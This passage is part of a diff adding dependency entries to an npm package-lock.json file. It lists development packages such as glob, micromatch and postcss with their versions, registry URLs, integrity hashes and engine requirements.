+ "dev": true
+ },
+ "node_modules/deepmerge": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
+ "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/dependency-graph": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz",
+ "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.6.0"
+ }
+ },
+ "node_modules/dir-glob": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+ "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+ "dev": true,
+ "dependencies": {
+ "path-type": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/dom-serializer": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
+ "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
+ "dev": true,
+ "dependencies": {
+ "domelementtype": "^2.3.0",
+ "domhandler": "^5.0.2",
+ "entities": "^4.2.0"
+ },
+ "funding": {
+ "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+ }
+ },
+ "node_modules/domelementtype": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+ "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/fb55"
+ }
+ ]
+ },
+ "node_modules/domhandler": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+ "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+ "dev": true,
+ "dependencies": {
+ "domelementtype": "^2.3.0"
+ },
+ "engines": {
+ "node": ">= 4"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/domhandler?sponsor=1"
+ }
+ },
+ "node_modules/domutils": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz",
+ "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==",
+ "dev": true,
+ "dependencies": {
+ "dom-serializer": "^2.0.0",
+ "domelementtype": "^2.3.0",
+ "domhandler": "^5.0.3"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/domutils?sponsor=1"
+ }
+ },
+ "node_modules/electron-to-chromium": {
+ "version": "1.4.525",
+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.525.tgz",
+ "integrity": "sha512-GIZ620hDK4YmIqAWkscG4W6RwY6gOx1y5J6f4JUQwctiJrqH2oxZYU4mXHi35oV32tr630UcepBzSBGJ/WYcZA==",
+ "dev": true
+ },
+ "node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
+ },
+ "node_modules/entities": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
+ "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/escalade": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz",
+ "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/escape-string-regexp": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.8.0"
+ }
+ },
+ "node_modules/estree-walker": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz",
+ "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==",
+ "dev": true
+ },
+ "node_modules/fast-glob": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.1.tgz",
+ "integrity": "sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==",
+ "dev": true,
+ "dependencies": {
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "glob-parent": "^5.1.2",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=8.6.0"
+ }
+ },
+ "node_modules/fastq": {
+ "version": "1.15.0",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz",
+ "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==",
+ "dev": true,
+ "dependencies": {
+ "reusify": "^1.0.4"
+ }
+ },
+ "node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/fs-extra": {
+ "version": "11.1.1",
+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz",
+ "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.2.0",
+ "jsonfile": "^6.0.1",
+ "universalify": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=14.14"
+ }
+ },
+ "node_modules/fs.realpath": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+ "dev": true
+ },
+ "node_modules/fsevents": {
+ "version": "2.3.3",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/function-bind": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
+ "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==",
+ "dev": true
+ },
+ "node_modules/get-caller-file": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+ "dev": true,
+ "engines": {
+ "node": "6.* || 8.* || >= 10.*"
+ }
+ },
+ "node_modules/get-stdin": {
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz",
+ "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/glob": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz",
+ "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==",
+ "dev": true,
+ "dependencies": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^5.0.1",
+ "once": "^1.3.0"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/globby": {
+ "version": "13.2.2",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz",
+ "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==",
+ "dev": true,
+ "dependencies": {
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.3.0",
+ "ignore": "^5.2.4",
+ "merge2": "^1.4.1",
+ "slash": "^4.0.0"
+ },
+ "engines": {
+ "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/globby/node_modules/slash": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
+ "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/graceful-fs": {
+ "version": "4.2.11",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+ "dev": true
+ },
+ "node_modules/has": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+ "dev": true,
+ "dependencies": {
+ "function-bind": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4.0"
+ }
+ },
+ "node_modules/has-flag": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+ "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+ "dev": true,
+ "dependencies": {
+ "once": "^1.3.0",
+ "wrappy": "1"
+ }
+ },
+ "node_modules/inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+ "dev": true
+ },
+ "node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-builtin-module": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-3.2.1.tgz",
+ "integrity": "sha512-BSLE3HnV2syZ0FK0iMA/yUGplUeMmNz4AW5fnTunbCIqZi4vG3WjJT9FHMy5D69xmAYBHXQhJdALdpwVxV501A==",
+ "dev": true,
+ "dependencies": {
+ "builtin-modules": "^3.3.0"
+ },
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/is-core-module": {
+ "version": "2.13.0",
+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz",
+ "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==",
+ "dev": true,
+ "dependencies": {
+ "has": "^1.0.3"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/is-extglob": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-glob": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+ "dev": true,
+ "dependencies": {
+ "is-extglob": "^2.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/is-module": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
+ "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==",
+ "dev": true
+ },
+ "node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/is-reference": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz",
+ "integrity": "sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==",
+ "dev": true,
+ "dependencies": {
+ "@types/estree": "*"
+ }
+ },
+ "node_modules/jest-worker": {
+ "version": "26.6.2",
+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
+ "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
+ "dev": true,
+ "dependencies": {
+ "@types/node": "*",
+ "merge-stream": "^2.0.0",
+ "supports-color": "^7.0.0"
+ },
+ "engines": {
+ "node": ">= 10.13.0"
+ }
+ },
+ "node_modules/jest-worker/node_modules/has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/jest-worker/node_modules/supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+ "dev": true
+ },
+ "node_modules/jsonfile": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+ "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+ "dev": true,
+ "dependencies": {
+ "universalify": "^2.0.0"
+ },
+ "optionalDependencies": {
+ "graceful-fs": "^4.1.6"
+ }
+ },
+ "node_modules/lilconfig": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz",
+ "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/lodash.memoize": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
+ "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==",
+ "dev": true
+ },
+ "node_modules/lodash.uniq": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
+ "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==",
+ "dev": true
+ },
+ "node_modules/magic-string": {
+ "version": "0.27.0",
+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.27.0.tgz",
+ "integrity": "sha512-8UnnX2PeRAPZuN12svgR9j7M1uWMovg/CEnIwIG0LFkXSJJe4PdfUGiTGl8V9bsBHFUtfVINcSyYxd7q+kx9fA==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/sourcemap-codec": "^1.4.13"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/mdn-data": {
+ "version": "2.0.30",
+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.30.tgz",
+ "integrity": "sha512-GaqWWShW4kv/G9IEucWScBx9G1/vsFZZJUO+tD26M8J8z3Kw5RDQjaoZe03YAClgeS/SWPOcb4nkFBTEi5DUEA==",
+ "dev": true
+ },
+ "node_modules/merge-stream": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
+ "dev": true
+ },
+ "node_modules/merge2": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/micromatch": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+ "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+ "dev": true,
+ "dependencies": {
+ "braces": "^3.0.2",
+ "picomatch": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=8.6"
+ }
+ },
+ "node_modules/minimatch": {
+ "version": "5.1.6",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
+ "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
+ "dev": true,
+ "dependencies": {
+ "brace-expansion": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/nanoid": {
+ "version": "3.3.6",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz",
+ "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/node-releases": {
+ "version": "2.0.13",
+ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz",
+ "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==",
+ "dev": true
+ },
+ "node_modules/normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/nth-check": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz",
+ "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==",
+ "dev": true,
+ "dependencies": {
+ "boolbase": "^1.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/nth-check?sponsor=1"
+ }
+ },
+ "node_modules/once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "dev": true,
+ "dependencies": {
+ "wrappy": "1"
+ }
+ },
+ "node_modules/path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
+ "dev": true
+ },
+ "node_modules/path-type": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+ "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/picocolors": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
+ "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
+ "dev": true
+ },
+ "node_modules/picomatch": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8.6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/postcss": {
+ "version": "8.4.31",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.31.tgz",
+ "integrity": "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
